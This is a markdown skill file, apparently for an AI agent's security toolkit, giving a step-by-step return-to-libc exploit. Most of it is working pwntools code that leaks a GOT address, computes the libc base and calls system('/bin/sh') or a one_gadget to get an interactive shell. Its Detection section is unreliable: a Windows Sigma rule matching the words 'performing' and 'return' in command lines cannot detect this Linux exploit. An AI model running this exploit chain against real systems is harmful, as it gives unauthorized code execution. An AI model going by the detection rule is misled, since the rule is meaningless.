<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: performing-return-to-libc-attacks
description: >-
  Perform return-to-libc attacks to bypass NX/DEP by redirecting execution to libc functions like system() without injecting shellcode, using GOT leaks and libc-database for remote resolution.
domain: cybersecurity
subdomain: binary-exploitation
tags:
  - ret2libc
  - system
  - libc-database
  - got-leak
  - nx-bypass
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1203"]
  cwe: ["CWE-120"]
  tools: ["pwntools", "libc-database", "one_gadget"]
---

# Performing Return To Libc Attacks

## Overview

Perform return-to-libc attacks to bypass NX/DEP by redirecting execution to libc functions like system() without injecting shellcode, using GOT leaks and libc-database for remote resolution.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `pwntools` | Security tooling |
| `libc-database` | Security tooling |
| `one_gadget` | Security tooling |
| Target binary with identified vulnerability | Environment requirement |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |

## Workflow

### Step 1: Identify Libc Version

```bash
# Local libc identification
ldd ./vuln
/lib/x86_64-linux-gnu/libc.so.6 --version

# Remote libc identification from leaked addresses
# Use libc-database: https://libc.blukat.me/
node scripts/agent.js identify --leaked-func puts --leaked-addr 0x7f1234567890
```

### Step 2: Leak and Calculate Libc Base

```python
from pwn import *

context.binary = elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p = process(elf.path)

# Leak puts@GOT via puts@PLT
rop = ROP(elf)
rop.puts(elf.got["puts"])
rop.call(elf.entry)

p.sendline(flat(b"A" * 72, rop.chain()))
leaked = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leaked - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
```

### Step 3: Call system('/bin/sh')

```python
# One-gadget approach (single gadget RCE)
# one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget_offset = 0xe3afe  # from one_gadget output

payload = flat(
    b"A" * 72,
    libc.address + one_gadget_offset,
)

# Traditional ret2libc approach
rop2 = ROP(libc)
rop2.system(next(libc.search(b"/bin/sh\x00")))

payload = flat(b"A" * 72, rop2.chain())
p.sendline(payload)
p.interactive()
```

## Detection

```yaml
title: Return To Libc Attacks Detection
id: 227ea734-573d-48a2-ae0d-4f1a04700cea
status: experimental
description: Detects suspicious activity related to performing return to libc attacks techniques in binary exploitation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*return*"
  condition: selection
level: critical
tags:
  - attack.t1203
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Return To Libc Attacks Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1203 |

## Verification

- [ ] Libc version identified on target
- [ ] Libc base address calculated from leak
- [ ] system() or one_gadget address resolved
- [ ] Shell obtained via ret2libc

## References

- [libc-database](https://libc.blukat.me/)
- [one_gadget](https://github.com/david942j/one_gadget)
